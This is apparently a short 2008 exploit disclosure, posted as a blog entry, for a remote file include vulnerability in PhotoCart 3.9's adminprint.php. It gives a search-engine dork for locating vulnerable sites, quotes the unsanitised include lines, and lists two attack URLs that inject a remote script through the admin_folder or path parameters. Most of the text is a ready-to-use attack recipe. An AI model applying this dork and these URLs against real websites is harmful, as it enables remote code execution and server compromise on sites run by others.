26 February 2008

PhotoCart 3.9 RFI

-------------------------------------------------------------------
# PhotoCart 3.9 (adminprint.php) Remote File Include Vulnerability
# Dork : inurl :/PhotoCart/
# Bug Found By : irvian
--------------------------------------------------------------------
bug found on /PhotoCart/adminprint.php

include "setup.php";
$path = "$path";
$path = "$path";
include "$admin_folder/_admin_functions.php";
include "$path/_db.php";
adminsessionCheck();


www.target.com/adminprint.php?admin_folder=[evil_scripts]
www.target.com/adminprint.php?path=[evil_scripts]

0 komentar:

powered by irvian